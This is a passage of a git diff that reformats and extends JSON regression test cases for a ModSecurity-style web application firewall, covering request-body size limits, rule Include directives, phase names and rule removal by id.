"debug_log":"Request body excluding files is bigger than the maximum expected.", - "http_code":400 + "expected": { + "debug_log": "Request body excluding files is bigger than the maximum expected.", + "http_code": 400 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRequestBodyAccess On", "SecRequestBodyNoFilesLimit 20", @@ -529,45 +563,46 @@ ] }, { - "enabled":1, - "version_min":300000, - "title":"SecRequestBodyNoFilesLimit - json, limit not exceeded", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length": "41", + "enabled": 1, + "version_min": 300000, + "title": "SecRequestBodyNoFilesLimit - json, limit not exceeded", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "48", "Content-Type": "application/json" }, - "uri":"/", - "method":"POST", + "uri": "/", + "method": "POST", "body": [ "{\"param1\":{\"param2\":\"value2\",\"param3\":\"value3\"}}" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "http_code":200 + "expected": { + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRequestBodyAccess On", "SecRequestBodyNoFilesLimit 80", @@ -576,46 +611,48 @@ ] }, { - "enabled":1, - "version_min":300000, - "title":"SecRequestBodyNoFilesLimit - xml, limit exceeded", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length": "77", + "enabled": 1, + "version_min": 300000, + "title": "SecRequestBodyNoFilesLimit - xml, limit exceeded", + "resource": "libxml2", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "77", "Content-Type": "application/xml" }, - "uri":"/", - "method":"POST", + "uri": "/", + "method": "POST", "body": [ "ccceee" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Request body excluding files is bigger than the maximum expected.", - "http_code":400 + "expected": { + "debug_log": "Request body excluding files is bigger than the maximum expected.", + "http_code": 400 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRequestBodyAccess On", "SecRequestBodyNoFilesLimit 20", @@ -624,45 +661,47 @@ ] }, { - "enabled":1, - "version_min":300000, - "title":"SecRequestBodyNoFilesLimit - xml, limit not exceeded", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length": "77", + "enabled": 1, + "version_min": 300000, + "title": "SecRequestBodyNoFilesLimit - xml, limit not exceeded", + "resource": "libxml2", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "77", "Content-Type": "application/xml" }, - "uri":"/", - "method":"POST", + "uri": "/", + "method": "POST", "body": [ "ccceee" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "http_code":200 + "expected": { + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRequestBodyAccess On", "SecRequestBodyNoFilesLimit 90", @@ -671,54 +710,55 @@ ] }, { - "enabled":1, - "version_min":300000, - "title":"SecRequestBodyNoFilesLimit - multipart, limit exceeded", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length": "77", + "enabled": 1, + "version_min": 300000, + "title": "SecRequestBodyNoFilesLimit - multipart, limit exceeded", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "198", "Content-Type": "multipart/form-data; boundary=0000" }, - "uri":"/", - "method":"POST", + "uri": "/", + "method": "POST", "body": [ - "--0000", - "Content-Disposition: form-data; name=\"a\"", - "", - "1", - "--0000", - "Content-Disposition: form-data; name=\"b\"; filename=\"c.txt\"", - "", - "2222222222222222222222222222222222222222222222222222222222222222222222", - "--0000--" + "--0000\n", + "Content-Disposition: form-data; name=\"a\"\n", + "\n", + "1\n", + "--0000\n", + "Content-Disposition: form-data; name=\"b\"; filename=\"c.txt\"\n", + "\n", + "2222222222222222222222222222222222222222222222222222222222222222222222\n", + "--0000--\n" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Request body excluding files is bigger than the maximum expected.", - "http_code":400 + "expected": { + "debug_log": "Request body excluding files is bigger than the maximum expected.", + "http_code": 400 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRequestBodyAccess On", "SecRequestBodyNoFilesLimit 80", @@ -726,53 +766,54 @@ ] }, { - "enabled":1, - "version_min":300000, - "title":"SecRequestBodyNoFilesLimit - multipart, limit not exceeded", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length": "77", + "enabled": 1, + "version_min": 300000, + "title": "SecRequestBodyNoFilesLimit - multipart, limit not exceeded", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "198", "Content-Type": "multipart/form-data; boundary=0000" }, - "uri":"/", - "method":"POST", + "uri": "/", + "method": "POST", "body": [ - "--0000", - "Content-Disposition: form-data; name=\"a\"", - "", - "1", - "--0000", - "Content-Disposition: form-data; name=\"b\"; filename=\"c.txt\"", - "", - "2222222222222222222222222222222222222222222222222222222222222222222222", - "--0000--" + "--0000\n", + "Content-Disposition: form-data; name=\"a\"\n", + "\n", + "1\n", + "--0000\n", + "Content-Disposition: form-data; name=\"b\"; filename=\"c.txt\"\n", + "\n", + "2222222222222222222222222222222222222222222222222222222222222222222222\n", + "--0000--\n" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "http_code":200 + "expected": { + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRequestBodyAccess On", "SecRequestBodyNoFilesLimit 120", @@ -780,4 +821,3 @@ ] } ] - diff --git a/test/test-cases/regression/config-calling_phases_by_name.json b/test/test-cases/regression/config-calling_phases_by_name.json index 39bd6f46d2..14b050477b 100644 --- a/test/test-cases/regression/config-calling_phases_by_name.json +++ b/test/test-cases/regression/config-calling_phases_by_name.json @@ -1,79 +1,91 @@ [ { - "enabled":1, - "version_min":300000, - "title":"Testing Config :: Phases by name (1/2)", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "title": "Testing Config :: Phases by name (1/2)", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" }, - "uri":"/?key=value&key=other_value", - "method":"GET" + "uri": "/?key=value&key=other_value", + "method": "GET", + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"other_value\" \\(Variable: MATCHED_VAR\\)" + "expected": { + "debug_log": "Target value: \"other_value\" \\(Variable: MATCHED_VAR\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule ARGS:key \"@contains other_value\" \"id:1,phase:request,pass,chain\"", "SecRule MATCHED_VAR \"@contains asdf\" \"\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Config :: Phases by name (2/2)", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "title": "Testing Config :: Phases by name (2/2)", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" }, - "uri":"/?key=value&key=other_value", - "method":"GET" + "uri": "/?key=value&key=other_value", + "method": "GET", + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"other_value\" \\(Variable: MATCHED_VAR\\)" + "expected": { + "debug_log": "Target value: \"other_value\" \\(Variable: MATCHED_VAR\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule ARGS:key \"@contains other_value\" \"chain,pass,phase:response,id:28\"", "SecRule MATCHED_VAR \"@contains Aasdf\" \"\"", @@ -83,4 +95,3 @@ ] } ] - diff --git a/test/test-cases/regression/config-include-bad.json b/test/test-cases/regression/config-include-bad.json index 76797552d7..6d64a14cd1 100644 --- a/test/test-cases/regression/config-include-bad.json +++ b/test/test-cases/regression/config-include-bad.json @@ -1,51 +1,159 @@ [ { - "enabled":1, - "version_min":300000, - "title":"Include - bad rule", - "expected":{ + "enabled": 1, + "version_min": 300000, + "title": "Include - bad rule", + "client": { + "ip": "", + "port": 0 + }, + "server": { + "ip": "", + "port": 0 + }, + "request": { + "headers": { + "Content-Length": "0" + }, + "uri": "", + "method": "", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "http_code": 200, "parser_error": "Rules error. File: test-cases/data/config_example3.txt. Line: 2. Column: 66. Expecting an action, got: ops \"id:1000,pass,t:trim\"" }, - "rules":[ + "rules": [ "SecRuleEngine On", "Include test-cases/data/config_example3.txt", "SecRule ARGS \"@missing_operator test\" \"id:19,pass,t:trim\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Include - missing file", - "expected":{ + "enabled": 1, + "version_min": 300000, + "title": "Include - missing file", + "client": { + "ip": "", + "port": 0 + }, + "server": { + "ip": "", + "port": 0 + }, + "request": { + "headers": { + "Content-Length": "0" + }, + "uri": "", + "method": "", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "http_code": 200, "parser_error": "Rules error. File: config-include-bad.json. Line: 2. Column: 46. test-cases/data/config_example-ops.txt: Not able to open file." }, - "rules":[ + "rules": [ "SecRuleEngine On", "Include test-cases/data/config_example-ops.txt", "SecRule ARGS \"@contains test\" \"id:19,pass,t:trim\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Include - missing at include", - "expected":{ + "enabled": 1, + "version_min": 300000, + "title": "Include - missing at include", + "client": { + "ip": "", + "port": 0 + }, + "server": { + "ip": "", + "port": 0 + }, + "request": { + "headers": { + "Content-Length": "0" + }, + "uri": "", + "method": "", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "http_code": 200, "parser_error": "Rules error. File: test-cases/data/config_example-ops-include.txt. Line: 1. Column: 52. test-cases/data/config_example-not-exist.txt: Not able to open file." }, - "rules":[ + "rules": [ "SecRuleEngine On", "Include test-cases/data/config_example-ops-include.txt", "SecRule ARGS \"@contains test\" \"id:19,pass,t:trim\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Include - duplicate id", - "expected":{ + "enabled": 1, + "version_min": 300000, + "title": "Include - duplicate id", + "client": { + "ip": "", + "port": 0 + }, + "server": { + "ip": "", + "port": 0 + }, + "request": { + "headers": { + "Content-Length": "0" + }, + "uri": "", + "method": "", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "http_code": 200, "parser_error": "Rule id: 40 is duplicated" }, - "rules":[ + "rules": [ "SecRuleEngine On", "Include test-cases/data/config_example.txt", "Include test-cases/data/config_example.txt", diff --git a/test/test-cases/regression/config-include.json b/test/test-cases/regression/config-include.json index a2e0b91081..1dd1c2b90a 100644 --- a/test/test-cases/regression/config-include.json +++ b/test/test-cases/regression/config-include.json @@ -1,199 +1,229 @@ [ { - "enabled":1, - "version_min":300000, - "title":"Include (1/7)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" + "enabled": 1, + "version_min": 300000, + "title": "Include (1/8)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" }, - "uri":"/?key=value&key=other_value", - "method":"GET" - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "uri": "/?key=value&key=other_value", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Executing operator \"Contains\" with param \"config_example2\" against ARGS." + "expected": { + "debug_log": "Executing operator \"Contains\" with param \"config_example2\" against ARGS.", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "Include test-cases/data/config_example2.txt", "SecRule ARGS \"@contains test\" \"id:9,pass,t:trim\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Include (2/7)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" + "enabled": 1, + "version_min": 300000, + "title": "Include (2/8)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" }, - "uri":"/?key=value&key=other_value", - "method":"GET" - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "uri": "/?key=value&key=other_value", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Executing operator \"Contains\" with param \"config_example\" against ARGS." + "expected": { + "debug_log": "Executing operator \"Contains\" with param \"config_example\" against ARGS.", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "Include test-cases/data/config_example.txt", "SecRule ARGS \"@contains test\" \"id:9,pass,t:trim\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Include (3/7)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" + "enabled": 1, + "version_min": 300000, + "title": "Include (3/8)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" }, - "uri":"/?key=value&key=other_value", - "method":"GET" - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "uri": "/?key=value&key=other_value", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Executing operator \"Contains\" with param \"config_example2\" against ARGS." + "expected": { + "debug_log": "Executing operator \"Contains\" with param \"config_example2\" against ARGS.", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "Include test-cases/data/config_example2.txt", "SecRule ARGS \"@contains test\" \"id:9,pass,t:trim\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Include (4/7)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" + "enabled": 1, + "version_min": 300000, + "title": "Include (4/8)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" }, - "uri":"/?key=value&key=other_value", - "method":"GET" - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "uri": "/?key=value&key=other_value", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Executing operator \"Contains\" with param \"test\" against ARGS." + "expected": { + "debug_log": "Executing operator \"Contains\" with param \"test\" against ARGS.", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule ARGS \"@contains test\" \"id:9,pass,t:trim\"", "Include test-cases/data/config_example2.txt" ] }, { - "enabled":1, - "version_min":300000, - "title":"Include (5/7)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" + "enabled": 1, + "version_min": 300000, + "title": "Include (5/8)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" }, - "uri":"/?key=value&key=other_value", - "method":"GET" - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "uri": "/?key=value&key=other_value", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Executing operator \"Contains\" with param \"config_example2\" against ARGS." + "expected": { + "debug_log": "Executing operator \"Contains\" with param \"config_example2\" against ARGS.", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule ARGS \"@contains test\" \"id:1,pass,t:trim\"", "Include test-cases/data/config_example.txt", @@ -201,83 +231,141 @@ ] }, { - "enabled":1, - "version_min":300000, - "title":"Include (6/7)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" + "enabled": 1, + "version_min": 300000, + "title": "Include (6/8)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" }, - "uri":"/?key=value&key=other_value", - "method":"GET" - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "uri": "/?key=value&key=other_value", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Executing operator \"Contains\" with param \"test\" against ARGS." + "expected": { + "debug_log": "Executing operator \"Contains\" with param \"test\" against ARGS.", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "Include test-cases/data/config_example2.txt", "SecRule ARGS \"@contains test\" \"id:9,pass,t:trim\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Include (7/7)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" + "enabled": 1, + "version_min": 300000, + "title": "Include (7/8)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" }, - "uri":"/?key=value&key=other_value", - "method":"GET" - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "uri": "/?key=value&key=other_value", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "parser_error":"Looking at: 'test-cases/data/conasdffig_example2.txt'" + "expected": { + "http_code": 200, + "parser_error": "Looking at: 'test-cases/data/conasdffig_example2.txt'" }, - "rules":[ + "rules": [ "SecRuleEngine On", "Include test-cases/data/conasdffig_example2.txt", "SecRule ARGS \"@contains test\" \"id:9,pass,t:trim\"" ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "Include (8/8) -- quoted with wildcard", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" + }, + "uri": "/?key=value&key=other_value", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "expected": { + "debug_log": "Executing operator \"Contains\" with param \"config_example2\" against ARGS.", + "http_code": 200 + }, + "rules": [ + "SecRuleEngine On", + "Include \"test-cases/data/config_ex*ple2.txt\"", + "SecRule ARGS \"@contains test\" \"id:9,pass,t:trim\"" + ] } ] diff --git a/test/test-cases/regression/config-remove_by_id.json b/test/test-cases/regression/config-remove_by_id.json index 9f074420b8..4dd07b85ec 100644 --- a/test/test-cases/regression/config-remove_by_id.json +++ b/test/test-cases/regression/config-remove_by_id.json @@ -1,39 +1,45 @@ [ { - "enabled":1, - "version_min":300000, - "title":"SecRuleRemoveById (1/3)", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "title": "SecRuleRemoveById (1/3)", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" }, - "uri":"/?key=value&key=other_value", - "method":"GET" + "uri": "/?key=value&key=other_value", + "method": "GET", + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Skipped rule id '2'. Removed by an SecRuleRemove directive." + "expected": { + "debug_log": "Skipped rule id '2'. Removed by an SecRuleRemove directive.", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleRemoveById 2", "SecRule ARGS \"@contains test\" \"id:1,pass,t:trim\"", "SecRule ARGS \"@contains test\" \"id:2,pass,t:trim\"", @@ -41,40 +47,46 @@ ] }, { - "enabled":1, - "version_min":300000, - "title":"SecRuleRemoveById (2/3)", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "title": "SecRuleRemoveById (2/3)", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" }, - "uri":"/?key=value&key=other_value", - "method":"GET" + "uri": "/?key=value&key=other_value", + "method": "GET", + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 